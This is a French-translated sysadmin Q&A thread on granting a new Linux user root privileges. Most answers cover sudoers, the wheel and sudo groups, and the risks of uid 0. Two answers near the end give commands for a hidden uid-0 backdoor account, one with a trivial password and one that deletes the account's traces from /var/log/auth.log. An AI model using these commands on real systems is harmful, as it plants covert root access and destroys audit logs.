ajouter un nouvel utilisateur avec un accès root sous Linux

31

Je veux ajouter un nouvel utilisateur et avoir / accorder à ce nouvel utilisateur tous les accès root, comment faire?

Je l'ai fait sudo adduser --system testusermais cela ne fonctionne pas comme prévu.

Merci pour l'aide.

seg.server.fault
la source

Réponses:

62

Il y a en fait trois façons de le faire: la bonne, la mauvaise et la laide.

Créez d'abord un compte utilisateur normal .

adduser username

Sélectionnez ensuite l'une des options suivantes:


Le droit chemin

Créez une sudoentrée pour le wheelgroupe /etc/sudoerscomme ceci:

## Allows people in group wheel to run all commands
%wheel  ALL=(ALL)       ALL

Ou pour les versions "modernes":

## Allows people in group sudoers to run all commands
%sudoers ALL=(ALL)       ALL

Ajoutez ensuite l'utilisateur au wheelgroupe. Ajouter et supprimer des utilisateurs avec des privilèges administratifs devient désormais une fonction de se rappeler de les ajouter à la roue, au lieu de créer une entrée dans sudo. La grande chose à propos de l'utilisation de Wheel est que vous pouvez étendre ce mécanisme à d'autres schémas d'authentification qui prennent en charge les groupes, c'est-à-dire Winbind / Active Directory, et en récolter les avantages. Pour ce faire, vous pouvez mapper la roue à un groupe de votre schéma d'authentification doté de privilèges d'administrateur.

Notez que certaines distributions utilisent différents comptes administratifs. Wheel est une approche « traditionnelle », mais vous pouvez rencontrer admin, admet d' autres comptes de groupe qui servent le même but.

Modification de suivi:

Je dois donner un point à Bart Silverstrim pour avoir souligné qu'Ubuntu utilise admincomme groupe à cette fin. Il y est arrivé en premier, même si je n'avais pas remarqué de balise Ubuntu à l'époque. Encore une fois, tout dépend de la distribution que vous utilisez.


The Ugly Way

Créez une entrée sudo pour le compte utilisateur en question et donnez ensuite un accès complet. Encore une fois, vous créez l'entrée /etc/sudoerscomme ceci:

## Allows just user "username" to run all commands as root
username    ALL=(ALL)    ALL

AJOUTÉ: ## Pour la version Ubuntu: nom d'utilisateur ALL = (ALL: ALL)

C'est très bien si vous n'avez qu'un (ou deux) comptes normaux. C'est moche quand vous avez une centaine de comptes sur plusieurs sites (géophysiques) et que vous devez constamment maintenir le fichier sudo.


La mauvaise direction

Vous pouvez modifier le /etc/passwdfichier et changer l'ID de compte d'utilisateur, quel que soit son numéro, en 0. C'est vrai, zéro .

username:x:0:502::/home/username:/bin/bash

Voir cette troisième entrée comme zéro? Lorsque vous vous connectez à ce compte, vous êtes, à toutes fins efficaces, root. Je ne le recommande pas. Si vous ne vous souvenez pas de "qui" vous êtes, vous pouvez créer toutes sortes de ravages lorsque vous commencez à créer et à toucher des fichiers en tant que root. Vous pouvez également ajouter votre nom d'utilisateur au rootgroupe. Cela a le même effet pour l'accès aux fichiers mais cela crée d'autres problèmes; les programmes remarqueront que vous n'êtes pas utilisateur root et refuseront de s'exécuter, mais vous aurez accès aux fichiers appartenant au groupe root .

Si vous avez fait cela, vous avez utilisé vipwau lieu de simplement éditer avec vi, non? (ou quel que soit votre éditeur de texte préféré) Après tout, une seule faute de frappe dans ce fichier peut vous verrouiller hors de votre système - et cela signifie une visite physique de l'ordinateur en question avec un disque de réparation ...

Avery Payne
la source
2
Je ne documenterais même pas la mauvaise façon. Trop tabou.
elcuco
15
Je ne suis pas d'accord. Si vous cachez le mal, il ne disparaît pas, il ne fait que disparaître - et parfois, le fait de savoir que quelque chose est interdit attire plus d'attention qu'il ne devrait. Mieux vaut comprendre pourquoi c'est tabou. Surtout quand il y a des circonstances (certes rares) où vous pourriez avoir besoin de ces connaissances. Pourtant, je vais vous donner un point pour souligner à quel point les choses peuvent être vraiment mauvaises. :)
Avery Payne
1
"Après tout, une seule faute de frappe dans ce fichier peut vous verrouiller hors de votre système" - non, cela peut vous bloquer après avoir déconnecté toutes les sessions Putty (en supposant que vous utilisez Putty). Tant que vous ne vous déconnectez pas, mais ouvrez simplement une autre session pour tester vos paramètres, vous êtes d'accord à cet égard.
quamis
1
@quamis - vrai. Bien que j'essayais de souligner le danger en supposant qu'il est sûr de "tirer et oublier". :) Un point pour vous aussi, pour avoir souligné les bonnes pratiques - testez toujours les paramètres par la suite .
Avery Payne,
1
Je voudrais juste noter que ce qui était traditionnellement un groupe de «roues» (avec une élévation binaire au niveau du drapeau) dans Unix n'est plus un terme courant pour un groupe d'utilisateurs qui peuvent élever avec sudo. D'après mon expérience, le nom le plus courant du groupe de personnes qui peut sudo est aujourd'hui généralement «sudoers» et est déjà configuré sur la plupart des systèmes.
Bojan Markovic
3

J'utilise cela depuis des années et c'est la méthode recommandée # 1 pour ajouter un sudoer sur AskUbuntu :

adduser existinguser sudo

Beaucoup plus simple que l'édition de fichiers et facile à lancer dans un script shell pour une installation sans assistance.

Si vous souhaitez créer l'utilisateur et accorder des privilèges sudo, vous pouvez le faire sur une seule ligne comme ceci:

useradd newuser -m -G sudo
passwd newuser

-mcréé un répertoire personnel et -Gspécifie un groupe supplémentaire.

Dan Dascalescu
la source
2

et avec cela c'est 100%:

adduser -u 0 -g root -G root -s /bin/bash -r HackerS2H -p 123456

et connectez-vous avec le mastic et le serveur ip

hacker-s2h
la source
1

Eh bien, vous pouvez créer un utilisateur avec adduser, voir man adduser.
Après, vous pouvez l'ajouter à un groupe privilégié comme root ou wheel. Mais je pense que la façon la plus recommandée d'avoir une autorisation est d'utiliser sudo.

Ali Mezgani
la source
1

vous pouvez effectuer:

#useradd -m -g root alex

il crée un utilisateur Alex avec un répertoire personnel qui appartient au groupe racine

Razique
la source
1

Ajout à la réponse d'Avery Payne: dans Ubuntu, vous pouvez le vouloir ainsi:

%sudo   ALL=(ALL:ALL) ALL

Et pas comme ça:

%sudo    ALL=(ALL) ALL
hukeping
la source
0

La méthode "laide et désordonnée" consiste à éditer / etc / passwd pour avoir UID = 0 ET GID = 0 pour le nouvel utilisateur. Mais cela pose BEAUCOUP de risques pour la sécurité . Vous savez que s'il est également root, il peut désactiver votre accès, changer votre mot de passe, faire de vous un "utilisateur standard" ... non? alors pourquoi ne pas simplement lui donner votre propre compte?

Vous pouvez étudier le fonctionnement de suid ( http://en.wikipedia.org/wiki/Setuid ) si vous souhaitez lui accorder un accès root pour quelques-unes des commandes.

quamis
la source
-1

Voici une doublure:

USERNAME="name";PASSWD=`perl -e 'print crypt("password", "sa")'`;COMMENT="Comment Here"
&& sudo useradd -p $PASSWD --system --shell '/bin/bash' --base-dir "/bin" --uid 0 -- 
non-unique --comment $COMMENT $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;' 
/var/log/auth.log

Meilleur,

Boschko
la source
1
Ajouter des utilisateurs supplémentaires avec l'uid 0 n'est pas une bonne idée ... voir la réponse avec le plus de votes pour plus de détails.
Gerald Schneider
@GeraldSchneider Je n'ai jamais dit que c'était une bonne idée ... Je suis bien conscient ... et honnêtement, ce n'est pas notre préoccupation. C'est une doublure, utilisez-la tout le temps dans les pentests. Cordialement
Boschko